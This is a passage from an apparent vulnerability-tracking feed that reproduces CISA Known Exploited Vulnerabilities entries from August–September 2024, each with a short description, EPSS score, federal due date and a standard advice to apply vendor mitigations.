https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25 CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Publisher Protection Mechanism Failure Vulnerability https://kevwire.com/record/CVE-2024-38226 Microsoft Publisher Protection Mechanism Failure Vulnerability (Sep 10, 2024). Microsoft Publisher contains a protection mechanism failure vulnerability that allows attacker to bypass Office macro policies used to block untrusted or malicious files. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25 CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SonicOS Improper Access Control Vulnerability https://kevwire.com/record/CVE-2024-40766 SonicWall SonicOS Improper Access Control Vulnerability (Sep 9, 2024). SonicWall SonicOS contains an improper access control vulnerability that could lead to unauthorized resource access and, under certain conditions, may cause the firewall to crash. EPSS 18.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25). Sources: CISA KEV entry CVE-2024-40766: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25 CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel PIE Stack Buffer Corruption Vulnerability https://kevwire.com/record/CVE-2017-1000253 Linux Kernel PIE Stack Buffer Corruption Vulnerability (Sep 9, 2024). Linux kernel contains a position-independent executable (PIE) stack buffer corruption vulnerability in load_elf_ binary() that allows a local attacker to escalate privileges. EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25). Sources: CISA KEV entry CVE-2017-1000253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25 CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ImageMagick Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2016-3714 ImageMagick Improper Input Validation Vulnerability (Sep 9, 2024). ImageMagick contains an improper input validation vulnerability that affects the EPHEMERAL, HTTPS, MVG, MSL, TEXT, SHOW, WIN, and PLT coders. This allows a remote attacker to execute arbitrary code via shell metacharacters in a crafted image. EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3714: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25 CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kingsoft WPS Office Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-7262 Kingsoft WPS Office Path Traversal Vulnerability (Sep 3, 2024). Kingsoft WPS Office contains a path traversal vulnerability in promecefpluginhost.exe on Windows that allows an attacker to load an arbitrary Windows library. EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25 CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Draytek VigorConnect Path Traversal Vulnerability https://kevwire.com/record/CVE-2021-20124 Draytek VigorConnect Path Traversal Vulnerability (Sep 3, 2024). Draytek VigorConnect contains a path traversal vulnerability in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25). Sources: CISA KEV entry CVE-2021-20124: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25 CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Draytek VigorConnect Path Traversal Vulnerability https://kevwire.com/record/CVE-2021-20123 Draytek VigorConnect Path Traversal Vulnerability (Sep 3, 2024). Draytek VigorConnect contains a path traversal vulnerability in the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. EPSS 89.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25). Sources: CISA KEV entry CVE-2021-20123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25 CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Inappropriate Implementation Vulnerability https://kevwire.com/record/CVE-2024-7965 Google Chromium V8 Inappropriate Implementation Vulnerability (Aug 28, 2024). Google Chromium V8 contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25 CISA added this entry on 2024-08-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 28, 2024; federal due date Sep 18, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache OFBiz Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2024-38856 Apache OFBiz Incorrect Authorization Vulnerability (Aug 27, 2024). Apache OFBiz contains an incorrect authorization vulnerability that could allow remote code execution via a Groovy payload in the context of the OFBiz user process by an unauthenticated attacker. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25 CISA added this entry on 2024-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 27, 2024; federal due date Sep 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2024-7971 Google Chromium V8 Type Confusion Vulnerability (Aug 26, 2024). Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 21.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25 CISA added this entry on 2024-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2024; federal due date Sep 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Versa Director Dangerous File Type Upload Vulnerability https://kevwire.com/record/CVE-2024-39717 Versa Director Dangerous File Type Upload Vulnerability (Aug 23, 2024). The Versa Director GUI contains an unrestricted upload of file with dangerous type vulnerability that allows administrators with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin privileges to customize the user interface. The “Change Favicon” (Favorite Icon) enables the upload of a .png file, which can be exploited to upload a malicious file with a .png extension disguised as an image. EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25). Sources: CISA KEV entry CVE-2024-39717: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25 CISA added this entry on 2024-08-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 23, 2024; federal due date Sep 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Information Disclosure Vulnerability https://kevwire.com/record/CVE-2021-31196 Microsoft Exchange Server Information Disclosure Vulnerability (Aug 21, 2024). Microsoft Exchange Server contains an information disclosure vulnerability that allows for remote code execution. EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25). Sources: CISA KEV entry CVE-2021-31196: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25 CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-0185 Linux Kernel Heap-Based Buffer Overflow Vulnerability (Aug 21, 2024). Linux kernel contains a heap-based buffer overflow vulnerability in the legacy_parse_param function in the Filesystem Context functionality. This allows an attacker to open a filesystem that does not support the Filesystem Context API and ultimately escalate privileges. EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0185: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25 CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dahua IP Camera Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2021-33045 Dahua IP Camera Authentication Bypass Vulnerability (Aug 21, 2024). Dahua IP cameras and related products contain an authentication bypass vulnerability when the loopback device is specified by the client during authentication. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25). Sources: CISA KEV entry CVE-2021-33045: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25 CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dahua IP Camera Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2021-33044 Dahua IP Camera Authentication Bypass Vulnerability (Aug 21, 2024). Dahua IP cameras and related products contain an authentication bypass vulnerability when the NetKeyboard type argument is specified by the client during authentication. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25). Sources: CISA KEV entry CVE-2021-33044: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25 CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Jenkins Command Line Interface (CLI) Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-23897 Jenkins Command Line Interface (CLI) Path Traversal Vulnerability (Aug 19, 2024). Jenkins Command Line Interface (CLI) contains a path traversal vulnerability that allows attackers limited read access to certain files, which can lead to code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25 CISA added this entry on 2024-08-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 19, 2024; federal due date Sep 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2024-28986 SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Aug 15, 2024). SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could allow for remote code execution. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25). Sources: CISA KEV entry CVE-2024-28986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25 CISA added this entry on 2024-08-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 15, 2024; federal due date Sep 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-38107 Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability (Aug 13, 2024). Microsoft Windows Power Dependency Coordinator contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to obtain SYSTEM privileges. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-38106 Microsoft Windows Kernel Privilege Escalation Vulnerability (Aug 13, 2024). Microsoft Windows Kernel contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. Successful exploitation of this vulnerability requires an attacker to win a race condition. EPSS 6.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38106: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-38193 Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability (Aug 13, 2024). Microsoft Windows Ancillary Function Driver for WinSock contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2024-38213 Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Aug 13, 2024). Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience via a malicious file. EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38213: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Scripting Engine Memory Corruption Vulnerability https://kevwire.com/record/CVE-2024-38178 Microsoft Windows Scripting Engine Memory Corruption Vulnerability (Aug 13, 2024). Microsoft Windows Scripting Engine contains a memory corruption vulnerability that allows unauthenticated attacker to initiate remote code execution via a specially crafted URL. EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38178: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Project Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2024-38189 Microsoft Project Remote Code Execution Vulnerability (Aug 13, 2024). Microsoft Project contains an unspecified vulnerability that allows for remote code execution via a malicious file. EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38189: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25 CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache OFBiz Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-32113 Apache OFBiz Path Traversal Vulnerability (Aug 7, 2024). Apache OFBiz contains a path traversal vulnerability that could allow for remote code execution. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25). Sources: CISA KEV entry CVE-2024-32113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25 CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 7, 2024; federal due date Aug 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Kernel Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2024-36971 Android Kernel Remote Code Execution Vulnerability (Aug 7, 2024). Android contains an unspecified vulnerability in the kernel that allows for remote code execution. This vulnerability resides in Linux Kernel and could impact other products, including but not limited to Android OS. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25). Sources: CISA KEV entry CVE-2024-36971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25 CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 7, 2024; federal due date Aug 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft COM for Windows Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2018-0824 Microsoft COM for Windows Deserialization of Untrusted Data Vulnerability (Aug 5, 2024). Microsoft COM for Windows contains a deserialization of untrusted data vulnerability that allows for privilege escalation and remote code execution 